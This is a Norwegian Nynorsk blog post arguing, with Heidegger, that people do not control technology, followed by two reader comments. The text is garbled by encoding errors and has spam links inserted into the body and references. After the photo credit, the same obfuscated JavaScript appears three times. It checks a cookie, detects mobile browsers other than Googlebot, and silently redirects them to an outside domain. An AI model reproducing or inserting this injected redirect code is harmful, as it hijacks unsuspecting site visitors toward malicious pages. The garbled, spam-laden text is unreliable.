Vi har ikkje kontroll over teknologiane


Author:

Author ImageLars Nyre

Martin Heidegger ser oss i augo og kjem med ei A?tvaring: Dersom de trur de har kontroll over teknologiane tek de skammeleg feil. I dette innlegget er eg trollmannens lAi??regut, og vil prA?va A? forklara kva Heidegger meiner.

“Menneska opphA?gar seg sjA?lve og poserer som herrar over jorda. PA? denne mA?ten vert det laga ein illusjon om at alt menneska kjem borti berre eksisterer i den grad det er deira eigen konstruksjon. […] Dette er den stA?rste fare [the supreme danger]” (Heidegger 1993, s. 232, mi omsetjing frA? engelsk).

Folk flest gjer den feilen Heidegger fryktar: I staden for A? sjA? pA? teknologi som ei ordning av naturen utifrA? dei materielle muligheitene som avslA?rer seg over tid ser dei pA? teknologi som noko mennesket har skapt for A? gjera livet enklare og betre for seg sjA?lve. Istadenfor den beste forklaringa veljer dei den som er lettast A? forstA?.

http://cocodrilo.synaptium.net/?p=14043 http://waigo.108km.com/?p=5081 Mennesket set seg sjA?lv fyrst

Det er politisk korrekt blant forskarar og intellektuelle i Noreg i 2016 A? setja mennesket fyrst. Teknologiar er noko det intelligente mennesket brukar som verktA?y til A? oppnA? noko nyttig, viktig eller vakkert. Denne posisjonen vert gjerne kalla sosial-konstruktivisme, og den stammar frA? ein humanistisk tilnAi??rmingsmA?te. Lat meg ta nokre gode eksempel pA? denne tenkjemA?ten.

Ai??Vi mA? styre teknologien. Hvis ikke tar den kontroll.Ai??, seier Jill Walker Rettberg i Ai??TeknodeterminismeAi?? i Bergens Tidende. Ai??Vi fA?r den teknologien vi vil ha”, skriv ho. “Men hvis ingen kommer pA? A? kritisere teknologien, sA? vil teknologien styres av det som er enklest A? fA? til, og ikke av det som er best for samfunnet vA?rtAi??. Her fA?reset Rettberg at me kan styra den.

Bente Kalsnes tek for seg algoritmar.Ai??Kor mykje makt har dei, spA?r ho i Ai??Algoritmenes maktAi?? i Agenda Magasin. Dei har sA? stor makt at det trengst etiske retningslinjer slik at makta deira vert begrensa. Ai??Det er ikke nytt at ny teknologi pA?virker samfunnet rundt seg, det er heller ikke nytt at det utvikles retningslinjer for A? pA?virke denne utviklingenAi??. Ho viser til sju prinisipp for gode algoritmer, og fA?reset dermed at det er mulig A? styra funksjonaliteten deira.

Samfunnet styrer

Andre viktige fagomrA?de har omtrent same teknologiforstA?ing. Sosiologar, psykologar og andre samfunnsforskar fA?reset at teknologi er noko menneska kontrollerer og lagar politikk med. Teknologiar treng ikkje A? verta teoretisert i seg sjA?lv sidan dei alltid allereie er ein del av dei menneskelege relasjonane. Det er gruppeliv, organisasjonar og relasjonar som formar dei funksjonane teknologien skal ha, ifA?lgje denne tenkjemA?ten.

Politikkutforming er ogsA? i stor grad sosial-konstruktivistisk. Ai??Teknologien er bare et redskap. Uten gode mA?l fA?r vi ikke stA?rst effekt der vi trenger det mestAi??, seier Marte Gerhardsen i Ai??Robotpolitikk, takk!Ai?? i Aftenposten. Ho siterer den svenske A?konomen Stefan FAi??lster: Ai??Hvordan det digitale samfunnet blir er opp til oss. Det vi vet er at jo stA?rre teknologiske endringer, dess stA?rre oppgaver blir det for politikkenAi??.

Teknologi som teknologi

Kva er det som er feil? Humanistane har bygd menneskets forrang inn i sprA?ket om verkelegheita sidan renessansen. Denne mA?ten A? tenkja pA? byggjer pA? verdilada fA?resetnader om mennesket i staden for ei realistisk forstA?ing av teknologi som teknologi.

Eg er trollmannens lAi??regut, og vil prA?va ut nokre alternative tankar om forholdet mellom teknologi og menneske. Punkta nedanfor er inspirert av Heidegger, men ogsA? av Bruno Latour, John Durham Peters og fleire. SjA? “Teknologiar er moralske aktA?rar” for liknande tankar.

Teknologi og kropp

Teknologi er eit materielt fenomen, akkurat slik menneskekroppen er. All teknologi stA?r reint fysisk i eit storleiksforhold til kroppen som gjer at det framstA?r som at den er laga for menneska.

Teknologi og menneske er symmetriske. Kroppen vA?r stA?r i eit direkte forhold til teknologiske fenomen gjennom persepsjon. Teknologi og menneske fungerer saman fordi vi er laga av det same materialet og fA?lgjer dei same naturlovene, og kan vera deltakarar i same typen ordning av naturen.

Teknologi kommuniserer ikkje med menneska sine sprA?k. Kommunikasjonen fA?regA?r med ei materiell energiutveksling, der koden for omsetjing er dei muligheitene som avslA?rer seg i naturlovene over tid. Fartsdumper kommuniserer pA? ein mA?te som er typisk for teknologi, medan trafikkskiltet kommuniserer pA? menneskets mA?te.

Den dominerande kommunikasjonsforma er delegering til teknologi. DA? er det teknologi som utfA?rer handlingar i staden for mennesket. Sekken ber vekta for meg. Bilen fraktar meg over Haukelifjell slik at eg ikkje treng A? gA?. Denne typen kommunikasjon er gunstig for mennesket, og lettast A? teoretisera.

Ein annan muligheit er delegering til menneske. DA? er det mennesket som utfA?rer handlingar i staden for teknologien. Eg sjekkar status for Facebook, epost og Twitter veldig hyppig fordi nettverket er “always on” og mitt konsum gjev energi til nettverket. I mange tilfelle er mennesket ein ressurs for teknologiske behov. Denne typen kommunikasjon er farleg for mennesket, og vanskeleg A? teoretisera.

Teknologi og tid

Utover den materielle kommunikasjonen er det er eit viktig fellestrekk mellom menneske og teknologi at begge eksisterer i tid, sjA?lv om mA?ten A? eksistera pA? er ganske forskjellig.

Teknologiane akkumulerer materielt volum over tid. Mengda av ordna natur vert stA?rre etterkvart som tida gA?r. Kvar nye bygning fA?reset sprenging av grunnen sA? den vert horisontal, og spora av teknologiutvikling er planetariske.

Teknologiar akkumulerer effektivitet over tid. Ein ny teknologi kjem oftast frA? ein funksjonalitet som var i ferd med A? verta ordna frA? fA?r. VA?r tids internett og smarttelefoni er ei vidarefA?ring av telefonsentralar og koparledningsnettverk frA? tidleg pA? 1900-talet. Dei teknologiane som vart ordna til for hundrevis av A?r sidan fungerer ogsA? no, i justert form.

Skummel avslutning

Martin Heidegger ser folk rett i augo og seier: Dersom de trur de har kontroll tek de frykteleg feil.

Utviklinga av ny teknologi foregA?r heilt fint utan at menneska forstA?r kva dei lagar og brukar til dagleg. Det er ikkje nA?dvendig A? ha ein god teori om teknologi for at ting skal fungera. I det 21. A?rhundret er volumet av teknologi stA?rre og meir uhandterleg enn nokon gong, og samstundes har mennesket ei like sjA?lvsentrert forstA?ing av teknologi som alltid fA?r. I sum har mindre styring over handlingane vA?re enn tidlegare.

“Menneska opphA?gar seg sjA?lve og poserer som herrar over jorda”, skriv Heidegger, og kallar det “den stA?rste fare” (“the supreme danger”).

Referansar

Gerhardsen, Marte (2016) Ai??Robotpolitikk, takk!Ai??, innlegg i Aftenposten 7. januar 2016.

Kalsnes, Bente (2016) Ai??Algoritmenes maktAi??, i Agenda Magasin 25. mars 2016.

Heidegger, Martin [1954] (1993) “The Question Concerning Technology” i http://jntinc.co.kr/cheaper-alternative-to-flomax/ Basic Writings. London: Routledge. SjA? oppslag pA? Wikipedia English.

Rettberg, Jill Walker (2016) Ai??TeknodeterminismeAi??, innlegg i Bergens Tidende 17. januar 2016.

Foto av Martin Heidegger ved ukjent fotograf. Henta frA?: http://www.filosofia.mx/index.php/perse/archivos/heidegger_una_fotografia.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

2 thoughts on “Vi har ikkje kontroll over teknologiane

  1. Author ImageJan Johansen

    NSDAP-medlem Martin Heidegger, smartass-nazist hvis oppgave en tid var å rense tysk akademia for jøder, var da mye farligere for mennesker enn det meste av ny teknologi! Særlig i perioden 1933-45, dvs cirka 75 år før Facebook ble oppfunnet.

  2. Author Imageleidulf bjarte ekren

    Det er vel først og fremst journalister som er mest skadelidende,som ikke lenger kan styre det som publiseres lenger.Politisk propaganda og informasjon er blitt allemannseie,og det svir nok på pungen

Comments are closed.